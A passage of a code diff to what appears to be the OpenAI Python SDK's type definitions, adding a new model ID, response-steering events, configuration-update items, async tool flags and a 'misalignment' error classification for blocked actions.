@@ -313,6 +314,7 @@ class ResponseCreate(BaseModel):
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -419,7 +421,7 @@ class ResponseCreate(BaseModel):
str,
None,
] = None
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -644,5 +646,5 @@ class ResponseCreate(BaseModel):
BetaResponsesClientEvent: TypeAlias = Annotated[
- Union[ResponseCreate, BetaResponseInjectEvent], PropertyInfo(discriminator="type")
+ Union[ResponseCreate, BetaResponseSteerEvent, BetaResponseInjectEvent], PropertyInfo(discriminator="type")
]
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 7579920642..59973cc2f0 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -16,6 +16,7 @@
from .beta_tool_choice_types_param import BetaToolChoiceTypesParam
from .beta_tool_choice_custom_param import BetaToolChoiceCustomParam
from .beta_tool_choice_allowed_param import BetaToolChoiceAllowedParam
+from .beta_response_steer_event_param import BetaResponseSteerEventParam
from .beta_response_text_config_param import BetaResponseTextConfigParam
from .beta_tool_choice_function_param import BetaToolChoiceFunctionParam
from .beta_response_inject_event_param import BetaResponseInjectEventParam
@@ -313,6 +314,7 @@ class ResponseCreate(TypedDict, total=False):
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -418,7 +420,7 @@ class ResponseCreate(TypedDict, total=False):
],
str,
]
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -642,4 +644,6 @@ class ResponseCreate(TypedDict, total=False):
"""
-BetaResponsesClientEventParam: TypeAlias = Union[ResponseCreate, BetaResponseInjectEventParam]
+BetaResponsesClientEventParam: TypeAlias = Union[
+ ResponseCreate, BetaResponseSteerEventParam, BetaResponseInjectEventParam
+]
diff --git a/src/openai/types/beta/beta_responses_server_event.py b/src/openai/types/beta/beta_responses_server_event.py
index b025431b2b..9c2a95f9af 100644
--- a/src/openai/types/beta/beta_responses_server_event.py
+++ b/src/openai/types/beta/beta_responses_server_event.py
@@ -16,9 +16,12 @@
from .beta_response_audio_delta_event import BetaResponseAudioDeltaEvent
from .beta_response_in_progress_event import BetaResponseInProgressEvent
from .beta_response_refusal_done_event import BetaResponseRefusalDoneEvent
+from .beta_response_steer_failed_event import BetaResponseSteerFailedEvent
from .beta_response_inject_failed_event import BetaResponseInjectFailedEvent
from .beta_response_refusal_delta_event import BetaResponseRefusalDeltaEvent
+from .beta_response_steer_pending_event import BetaResponseSteerPendingEvent
from .beta_response_inject_created_event import BetaResponseInjectCreatedEvent
+from .beta_response_steer_accepted_event import BetaResponseSteerAcceptedEvent
from .beta_response_mcp_call_failed_event import BetaResponseMcpCallFailedEvent
from .beta_response_output_item_done_event import BetaResponseOutputItemDoneEvent
from .beta_response_content_part_done_event import BetaResponseContentPartDoneEvent
@@ -126,6 +129,8 @@
"BetaResponseCustomToolCallInputWsDone",
"BetaResponseWsError",
"BetaResponseWsErrorError",
+ "BetaResponseWsErrorErrorMisalignment",
+ "BetaResponseWsErrorErrorMisalignmentSteer",
"BetaResponseWsErrorAgent",
]
@@ -406,7 +411,12 @@ class BetaResponseWsFailed(BetaResponseFailedEvent):
class BetaResponseWsIncomplete(BetaResponseIncompleteEvent):
- """An event that is emitted when a response finishes as incomplete."""
+ """An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
+ """
stream_id: Optional[str] = None
"""The WebSocket lane that emitted this event.
@@ -765,6 +775,33 @@ class BetaResponseCustomToolCallInputWsDone(BetaResponseCustomToolCallInputDoneE
"""
+class BetaResponseWsErrorErrorMisalignmentSteer(BaseModel):
+ """An optional public continuation instruction."""
+
+ message: str
+ """The public continuation instruction."""
+
+
+class BetaResponseWsErrorErrorMisalignment(BaseModel):
+ detailed_explanation: Optional[str] = None
+ """The public explanation for this block."""
+
+ error_type: Union[
+ str,
+ Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ],
+ None,
+ ] = None
+ """An optional classification; clients must accept additional values."""
+
+ steer: Optional[BetaResponseWsErrorErrorMisalignmentSteer] = None
+ """An optional public continuation instruction."""
+
+
class BetaResponseWsErrorError(BaseModel):
"""Details about the error."""
@@ -783,6 +820,8 @@ class BetaResponseWsErrorError(BaseModel):
headers: Optional[Dict[str, str]] = None
"""The response headers that were emitted with the error, if any."""
+ misalignment: Optional[BetaResponseWsErrorErrorMisalignment] = None
+
class BetaResponseWsErrorAgent(BaseModel):
"""The agent that owns this multi-agent streaming event."""
@@ -877,6 +916,9 @@ class BetaResponseWsError(BaseModel):
BetaResponseCustomToolCallInputWsDelta,
BetaResponseCustomToolCallInputWsDone,
BetaResponseWsError,
+ BetaResponseSteerAcceptedEvent,
+ BetaResponseSteerPendingEvent,
+ BetaResponseSteerFailedEvent,
BetaResponseInjectCreatedEvent,
BetaResponseInjectFailedEvent,
],
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index cb9ddce96e..0260b25fd2 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -15,6 +15,7 @@ class ResponseCompactParams(TypedDict, total=False):
model: Required[
Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -122,7 +123,7 @@ class ResponseCompactParams(TypedDict, total=False):
None,
]
]
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index ebcbeb116b..56df1b9280 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -128,6 +128,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -233,7 +234,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
],
str,
]
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/chat/completion_create_params.py b/src/openai/types/chat/completion_create_params.py
index 69379d34a5..4967572a3b 100644
--- a/src/openai/types/chat/completion_create_params.py
+++ b/src/openai/types/chat/completion_create_params.py
@@ -51,7 +51,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""
model: Required[Union[str, ChatModel]]
- """Model ID used to generate the response, like `gpt-5.6-sol` or `o3`.
+ """Model ID used to generate the response, like `gpt-6-astra` or `o3`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index e2939b984a..16114d2df6 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -20,6 +20,7 @@
from ..responses.response_function_tool_call_item import ResponseFunctionToolCallItem
from ..responses.response_tool_search_output_item import ResponseToolSearchOutputItem
from ..responses.response_function_shell_tool_call import ResponseFunctionShellToolCall
+from ..responses.response_configuration_update_item import ResponseConfigurationUpdateItem
from ..responses.response_code_interpreter_tool_call import ResponseCodeInterpreterToolCall
from ..responses.response_apply_patch_tool_call_output import ResponseApplyPatchToolCallOutput
from ..responses.response_computer_tool_call_output_item import ResponseComputerToolCallOutputItem
@@ -288,6 +289,7 @@ class McpCall(BaseModel):
ResponseToolSearchCall,
ResponseToolSearchOutputItem,
AdditionalTools,
+ ResponseConfigurationUpdateItem,
ResponseReasoningItem,
Program,
ProgramOutput,
diff --git a/src/openai/types/eval_create_response.py b/src/openai/types/eval_create_response.py
index 16fd35d290..fcd3e71002 100644
--- a/src/openai/types/eval_create_response.py
+++ b/src/openai/types/eval_create_response.py
@@ -98,7 +98,7 @@ class EvalCreateResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-5.6-sol
+ - Check if o4-mini is better at my usecase than gpt-6-astra
"""
id: str
diff --git a/src/openai/types/eval_list_response.py b/src/openai/types/eval_list_response.py
index 88650d3479..8e9a4da86b 100644
--- a/src/openai/types/eval_list_response.py
+++ b/src/openai/types/eval_list_response.py
@@ -98,7 +98,7 @@ class EvalListResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-5.6-sol
+ - Check if o4-mini is better at my usecase than gpt-6-astra
"""
id: str
diff --git a/src/openai/types/eval_retrieve_response.py b/src/openai/types/eval_retrieve_response.py
index 81c0a02cac..afbb93496f 100644
--- a/src/openai/types/eval_retrieve_response.py
+++ b/src/openai/types/eval_retrieve_response.py
@@ -98,7 +98,7 @@ class EvalRetrieveResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-5.6-sol
+ - Check if o4-mini is better at my usecase than gpt-6-astra
"""
id: str
diff --git a/src/openai/types/eval_update_response.py b/src/openai/types/eval_update_response.py
index c1a8440846..1e522194a9 100644
--- a/src/openai/types/eval_update_response.py
+++ b/src/openai/types/eval_update_response.py
@@ -98,7 +98,7 @@ class EvalUpdateResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-5.6-sol
+ - Check if o4-mini is better at my usecase than gpt-6-astra
"""
id: str
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source.py b/src/openai/types/evals/create_eval_completions_run_data_source.py
index 15813f9412..9f5ab8e58d 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source.py
@@ -84,7 +84,7 @@ class SourceStoredCompletions(BaseModel):
"""
model: Optional[str] = None
- """An optional model to filter by (e.g., 'gpt-5.6-sol')."""
+ """An optional model to filter by (e.g., 'gpt-6-astra')."""
Source: TypeAlias = Annotated[
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source_param.py b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
index d228f6d42d..27a31b2df6 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source_param.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
@@ -84,7 +84,7 @@ class SourceStoredCompletions(TypedDict, total=False):
"""
model: Optional[str]
- """An optional model to filter by (e.g., 'gpt-5.6-sol')."""
+ """An optional model to filter by (e.g., 'gpt-6-astra')."""
Source: TypeAlias = Union[SourceFileContent, SourceFileID, SourceStoredCompletions]
diff --git a/src/openai/types/responses/__init__.py b/src/openai/types/responses/__init__.py
index f81a38be61..1e2c61edbd 100644
--- a/src/openai/types/responses/__init__.py
+++ b/src/openai/types/responses/__init__.py
@@ -66,6 +66,8 @@
from .response_input_param import ResponseInputParam as ResponseInputParam
from .response_output_item import ResponseOutputItem as ResponseOutputItem
from .response_output_text import ResponseOutputText as ResponseOutputText
+from .response_steer_event import ResponseSteerEvent as ResponseSteerEvent
+from .response_steer_input import ResponseSteerInput as ResponseSteerInput
from .response_text_config import ResponseTextConfig as ResponseTextConfig
from .tool_choice_function import ToolChoiceFunction as ToolChoiceFunction
from .computer_action_param import ComputerActionParam as ComputerActionParam
@@ -112,6 +114,7 @@
from .response_input_file_param import ResponseInputFileParam as ResponseInputFileParam
from .response_input_item_param import ResponseInputItemParam as ResponseInputItemParam
from .response_input_text_param import ResponseInputTextParam as ResponseInputTextParam
+from .response_steer_error_code import ResponseSteerErrorCode as ResponseSteerErrorCode
from .response_text_delta_event import ResponseTextDeltaEvent as ResponseTextDeltaEvent
from .response_tool_search_call import ResponseToolSearchCall as ResponseToolSearchCall
from .tool_choice_allowed_param import ToolChoiceAllowedParam as ToolChoiceAllowedParam
@@ -123,6 +126,8 @@
from .response_input_image_param import ResponseInputImageParam as ResponseInputImageParam
from .response_local_environment import ResponseLocalEnvironment as ResponseLocalEnvironment
from .response_output_text_param import ResponseOutputTextParam as ResponseOutputTextParam
+from .response_steer_event_param import ResponseSteerEventParam as ResponseSteerEventParam
+from .response_steer_input_param import ResponseSteerInputParam as ResponseSteerInputParam
from .response_text_config_param import ResponseTextConfigParam as ResponseTextConfigParam
from .tool_choice_function_param import ToolChoiceFunctionParam as ToolChoiceFunctionParam
from .response_computer_tool_call import ResponseComputerToolCall as ResponseComputerToolCall
@@ -133,15 +138,21 @@
from .response_input_message_item import ResponseInputMessageItem as ResponseInputMessageItem
from .response_input_text_content import ResponseInputTextContent as ResponseInputTextContent
from .response_refusal_done_event import ResponseRefusalDoneEvent as ResponseRefusalDoneEvent
+from .response_steer_failed_event import ResponseSteerFailedEvent as ResponseSteerFailedEvent
from .response_container_reference import ResponseContainerReference as ResponseContainerReference
from .response_function_web_search import ResponseFunctionWebSearch as ResponseFunctionWebSearch
from .response_input_content_param import ResponseInputContentParam as ResponseInputContentParam
from .response_input_image_content import ResponseInputImageContent as ResponseInputImageContent
from .response_refusal_delta_event import ResponseRefusalDeltaEvent as ResponseRefusalDeltaEvent
+from .response_steer_input_content import ResponseSteerInputContent as ResponseSteerInputContent
+from .response_steer_pending_event import ResponseSteerPendingEvent as ResponseSteerPendingEvent
from .responses_client_event_param import ResponsesClientEventParam as ResponsesClientEventParam
from .response_output_message_param import ResponseOutputMessageParam as ResponseOutputMessageParam
from .response_output_refusal_param import ResponseOutputRefusalParam as ResponseOutputRefusalParam
from .response_reasoning_item_param import ResponseReasoningItemParam as ResponseReasoningItemParam
+from .response_steer_accepted_event import ResponseSteerAcceptedEvent as ResponseSteerAcceptedEvent
+from .response_steer_pending_reason import ResponseSteerPendingReason as ResponseSteerPendingReason
+from .response_steer_required_input import ResponseSteerRequiredInput as ResponseSteerRequiredInput
from .tool_choice_apply_patch_param import ToolChoiceApplyPatchParam as ToolChoiceApplyPatchParam
from .web_search_preview_tool_param import WebSearchPreviewToolParam as WebSearchPreviewToolParam
from .response_apply_patch_tool_call import ResponseApplyPatchToolCall as ResponseApplyPatchToolCall
@@ -168,10 +179,12 @@
from .response_input_text_content_param import ResponseInputTextContentParam as ResponseInputTextContentParam
from .response_mcp_call_completed_event import ResponseMcpCallCompletedEvent as ResponseMcpCallCompletedEvent
from .container_network_policy_allowlist import ContainerNetworkPolicyAllowlist as ContainerNetworkPolicyAllowlist
+from .response_configuration_update_item import ResponseConfigurationUpdateItem as ResponseConfigurationUpdateItem
from .response_function_call_output_item import ResponseFunctionCallOutputItem as ResponseFunctionCallOutputItem
from .response_function_web_search_param import ResponseFunctionWebSearchParam as ResponseFunctionWebSearchParam
from .response_input_image_content_param import ResponseInputImageContentParam as ResponseInputImageContentParam
from .response_reasoning_text_done_event import ResponseReasoningTextDoneEvent as ResponseReasoningTextDoneEvent
+from .response_steer_input_content_param import ResponseSteerInputContentParam as ResponseSteerInputContentParam
from .response_code_interpreter_tool_call import ResponseCodeInterpreterToolCall as ResponseCodeInterpreterToolCall
from .response_input_message_content_list import ResponseInputMessageContentList as ResponseInputMessageContentList
from .response_mcp_call_in_progress_event import ResponseMcpCallInProgressEvent as ResponseMcpCallInProgressEvent
@@ -233,6 +246,9 @@
from .container_network_policy_allowlist_param import (
ContainerNetworkPolicyAllowlistParam as ContainerNetworkPolicyAllowlistParam,
)
+from .response_configuration_update_item_param import (
+ ResponseConfigurationUpdateItemParam as ResponseConfigurationUpdateItemParam,
+)
from .response_function_call_output_item_param import (
ResponseFunctionCallOutputItemParam as ResponseFunctionCallOutputItemParam,
)
@@ -329,6 +345,9 @@
from .response_code_interpreter_call_completed_event import (
ResponseCodeInterpreterCallCompletedEvent as ResponseCodeInterpreterCallCompletedEvent,
)
+from .response_configuration_update_item_param_param import (
+ ResponseConfigurationUpdateItemParamParam as ResponseConfigurationUpdateItemParamParam,
+)
from .response_shell_call_output_content_delta_event import (
ResponseShellCallOutputContentDeltaEvent as ResponseShellCallOutputContentDeltaEvent,
)
diff --git a/src/openai/types/responses/custom_tool.py b/src/openai/types/responses/custom_tool.py
index e126f13883..c91aeba0c0 100644
--- a/src/openai/types/responses/custom_tool.py
+++ b/src/openai/types/responses/custom_tool.py
@@ -3,6 +3,8 @@
from typing import List, Optional
from typing_extensions import Literal
+from pydantic import Field as FieldInfo
+
from ..._models import BaseModel
from ..shared.custom_tool_input_format import CustomToolInputFormat
@@ -24,6 +26,12 @@ class CustomTool(BaseModel):
allowed_callers: Optional[List[Literal["direct", "programmatic"]]] = None
"""The tool invocation context(s)."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """
+ Whether the tool response can be returned asynchronously versus immediately
+ returned on next response creation.
+ """
+
defer_loading: Optional[bool] = None
"""Whether this tool should be deferred and discovered via tool search."""
diff --git a/src/openai/types/responses/custom_tool_param.py b/src/openai/types/responses/custom_tool_param.py
index 86920f8419..32a295f9a0 100644
--- a/src/openai/types/responses/custom_tool_param.py
+++ b/src/openai/types/responses/custom_tool_param.py
@@ -9,8 +9,16 @@
__all__ = ["CustomToolParam"]
+_CustomToolParamReservedKeywords = TypedDict(
+ "_CustomToolParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
-class CustomToolParam(TypedDict, total=False):
+
+class CustomToolParam(_CustomToolParamReservedKeywords, total=False):
"""A custom tool that processes input using a specified format.
Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
diff --git a/src/openai/types/responses/function_tool.py b/src/openai/types/responses/function_tool.py
index 55555a7fe9..ddec85b510 100644
--- a/src/openai/types/responses/function_tool.py
+++ b/src/openai/types/responses/function_tool.py
@@ -3,6 +3,8 @@
from typing import Dict, List, Optional
from typing_extensions import Literal
+from pydantic import Field as FieldInfo
+
from ..._models import BaseModel
__all__ = ["FunctionTool"]
@@ -29,6 +31,8 @@ class FunctionTool(BaseModel):
allowed_callers: Optional[List[Literal["direct", "programmatic"]]] = None
"""The tool invocation context(s)."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+
defer_loading: Optional[bool] = None
"""Whether this function is deferred and loaded via tool search."""
diff --git a/src/openai/types/responses/function_tool_param.py b/src/openai/types/responses/function_tool_param.py
index 29a80a5db9..c84b42597f 100644
--- a/src/openai/types/responses/function_tool_param.py
+++ b/src/openai/types/responses/function_tool_param.py
@@ -7,8 +7,16 @@
__all__ = ["FunctionToolParam"]
+_FunctionToolParamReservedKeywords = TypedDict(
+ "_FunctionToolParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
-class FunctionToolParam(TypedDict, total=False):
+
+class FunctionToolParam(_FunctionToolParamReservedKeywords, total=False):
"""Defines a function in your own code the model can choose to call.
Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
diff --git a/src/openai/types/responses/namespace_tool.py b/src/openai/types/responses/namespace_tool.py
index 2b8d26cf07..eaa95f67c9 100644
--- a/src/openai/types/responses/namespace_tool.py
+++ b/src/openai/types/responses/namespace_tool.py
@@ -3,6 +3,8 @@
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .custom_tool import CustomTool
@@ -18,6 +20,12 @@ class ToolFunction(BaseModel):
allowed_callers: Optional[List[Literal["direct", "programmatic"]]] = None
"""The tool invocation context(s)."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """
+ Whether the tool response can be returned asynchronously versus immediately
+ returned on next response creation.
+ """
+
defer_loading: Optional[bool] = None
"""Whether this function should be deferred and discovered via tool search."""
diff --git a/src/openai/types/responses/namespace_tool_param.py b/src/openai/types/responses/namespace_tool_param.py
index dbe1e7cfde..55baaacbd7 100644
--- a/src/openai/types/responses/namespace_tool_param.py
+++ b/src/openai/types/responses/namespace_tool_param.py
@@ -9,8 +9,16 @@
__all__ = ["NamespaceToolParam", "Tool", "ToolFunction"]
+_ToolFunctionReservedKeywords = TypedDict(
+ "_ToolFunctionReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
-class ToolFunction(TypedDict, total=False):
+
+class ToolFunction(_ToolFunctionReservedKeywords, total=False):
name: Required[str]
type: Required[Literal["function"]]
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index eaf16cfec5..db6e32bfa0 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -46,8 +46,13 @@
class IncompleteDetails(BaseModel):
"""Details about why the response is incomplete."""
- reason: Optional[Literal["max_output_tokens", "max_messages", "content_filter"]] = None
- """The reason why the response is incomplete."""
+ reason: Optional[Literal["max_output_tokens", "max_messages", "content_filter", "steered"]] = None
+ """The reason why the response is incomplete.
+
+ `steered` means the response stopped at a safe output boundary after a WebSocket
+ `response.steer` event. The server can then create a successor response
+ automatically with the queued input.
+ """
class ToolChoiceSpecificProgrammaticToolCallingParam(BaseModel):
@@ -227,7 +232,7 @@ class Response(BaseModel):
"""
model: ResponsesModel
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index b9b5e80704..3aae42d31c 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -14,6 +14,7 @@ class ResponseCompactParams(TypedDict, total=False):
model: Required[
Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -121,7 +122,7 @@ class ResponseCompactParams(TypedDict, total=False):
None,
]
]
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/responses/response_configuration_update_item.py b/src/openai/types/responses/response_configuration_update_item.py
new file mode 100644
index 0000000000..5d14e6091d
--- /dev/null
+++ b/src/openai/types/responses/response_configuration_update_item.py
@@ -0,0 +1,35 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from ..shared.reasoning_effort import ReasoningEffort
+
+__all__ = ["ResponseConfigurationUpdateItem", "Reasoning"]
+
+
+class Reasoning(BaseModel):
+ """The reasoning configuration applied by this update."""
+
+ effort: Optional[ReasoningEffort] = None
+ """
+ The reasoning effort used for subsequent responses until another configuration
+ update replaces it.
+ """
+
+
+class ResponseConfigurationUpdateItem(BaseModel):
+ """
+ A configuration update that applies to subsequent responses until it is
+ replaced by another configuration update.
+ """
+
+ id: str
+ """The unique ID of the configuration update item."""
+
+ type: Literal["configuration_update"]
+ """The item type. Always `configuration_update`."""
+
+ reasoning: Optional[Reasoning] = None
+ """The reasoning configuration applied by this update."""
diff --git a/src/openai/types/responses/response_configuration_update_item_param.py b/src/openai/types/responses/response_configuration_update_item_param.py
new file mode 100644
index 0000000000..7a18c2a51d
--- /dev/null
+++ b/src/openai/types/responses/response_configuration_update_item_param.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from ..shared.reasoning_effort import ReasoningEffort
+
+__all__ = ["ResponseConfigurationUpdateItemParam", "Reasoning"]
+
+
+class Reasoning(BaseModel):
+ """Updates to reasoning configuration. Only effort is supported."""
+
+ effort: Optional[ReasoningEffort] = None
+ """
+ The reasoning effort to use for subsequent responses until another configuration
+ update replaces it.
+ """
+
+
+class ResponseConfigurationUpdateItemParam(BaseModel):
+ """An update to the conversation's response configuration.
+
+ The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
+ """
+
+ type: Literal["configuration_update"]
+ """The item type. Always `configuration_update`."""
+
+ id: Optional[str] = None
+ """The unique ID of the configuration update item."""
+
+ reasoning: Optional[Reasoning] = None
+ """Updates to reasoning configuration. Only effort is supported."""
diff --git a/src/openai/types/responses/response_configuration_update_item_param_param.py b/src/openai/types/responses/response_configuration_update_item_param_param.py
new file mode 100644
index 0000000000..ed7e5949ec
--- /dev/null
+++ b/src/openai/types/responses/response_configuration_update_item_param_param.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from ..shared.reasoning_effort import ReasoningEffort
+
+__all__ = ["ResponseConfigurationUpdateItemParamParam", "Reasoning"]
+
+
+class Reasoning(TypedDict, total=False):
+ """Updates to reasoning configuration. Only effort is supported."""
+
+ effort: Optional[ReasoningEffort]
+ """
+ The reasoning effort to use for subsequent responses until another configuration
+ update replaces it.
+ """
+
+
+class ResponseConfigurationUpdateItemParamParam(TypedDict, total=False):
+ """An update to the conversation's response configuration.
+
+ The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
+ """
+
+ type: Required[Literal["configuration_update"]]
+ """The item type. Always `configuration_update`."""
+
+ id: Optional[str]
+ """The unique ID of the configuration update item."""
+
+ reasoning: Reasoning
+ """Updates to reasoning configuration. Only effort is supported."""
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 55d7fa7474..030d374b0b 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -127,7 +127,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
model: ResponsesModel
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/responses/response_custom_tool_call.py b/src/openai/types/responses/response_custom_tool_call.py
index 433cebe3d6..9b6eb9e56c 100644
--- a/src/openai/types/responses/response_custom_tool_call.py
+++ b/src/openai/types/responses/response_custom_tool_call.py
@@ -3,6 +3,8 @@
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
@@ -41,6 +43,9 @@ class ResponseCustomToolCall(BaseModel):
id: Optional[str] = None
"""The unique ID of the custom tool call in the OpenAI platform."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """Whether the custom tool call runs asynchronously."""
+
caller: Optional[Caller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/responses/response_custom_tool_call_param.py b/src/openai/types/responses/response_custom_tool_call_param.py
index 4b98dbc58c..359c7563af 100644
--- a/src/openai/types/responses/response_custom_tool_call_param.py
+++ b/src/openai/types/responses/response_custom_tool_call_param.py
@@ -22,7 +22,16 @@ class CallerProgram(TypedDict, total=False):
Caller: TypeAlias = Union[CallerDirect, CallerProgram]
-class ResponseCustomToolCallParam(TypedDict, total=False):
+_ResponseCustomToolCallParamReservedKeywords = TypedDict(
+ "_ResponseCustomToolCallParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
+
+
+class ResponseCustomToolCallParam(_ResponseCustomToolCallParamReservedKeywords, total=False):
"""A call to a custom tool created by the model."""
call_id: Required[str]
diff --git a/src/openai/types/responses/response_error.py b/src/openai/types/responses/response_error.py
index d046cd343b..7979cb236c 100644
--- a/src/openai/types/responses/response_error.py
+++ b/src/openai/types/responses/response_error.py
@@ -1,10 +1,38 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union, Optional
from typing_extensions import Literal
from ..._models import BaseModel
-__all__ = ["ResponseError"]
+__all__ = ["ResponseError", "Misalignment", "MisalignmentSteer"]
+
+
+class MisalignmentSteer(BaseModel):
+ """An optional public continuation instruction."""
+
+ message: str
+ """The public continuation instruction."""
+
+
+class Misalignment(BaseModel):
+ detailed_explanation: Optional[str] = None
+ """The public explanation for this block."""
+
+ error_type: Union[
+ str,
+ Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ],
+ None,
+ ] = None
+ """An optional classification; clients must accept additional values."""
+
+ steer: Optional[MisalignmentSteer] = None
+ """An optional public continuation instruction."""
class ResponseError(BaseModel):
@@ -16,6 +44,7 @@ class ResponseError(BaseModel):
"invalid_prompt",
"data_residency_mismatch",
"bio_policy",
+ "misalignment_policy_violation",
"vector_store_timeout",
"invalid_image",
"invalid_image_format",
@@ -36,3 +65,5 @@ class ResponseError(BaseModel):
message: str
"""A human-readable description of the error."""
+
+ misalignment: Optional[Misalignment] = None
diff --git a/src/openai/types/responses/response_function_tool_call.py b/src/openai/types/responses/response_function_tool_call.py
index 777b8ce664..827f20173b 100644
--- a/src/openai/types/responses/response_function_tool_call.py
+++ b/src/openai/types/responses/response_function_tool_call.py
@@ -3,6 +3,8 @@
from typing import Union, Optional
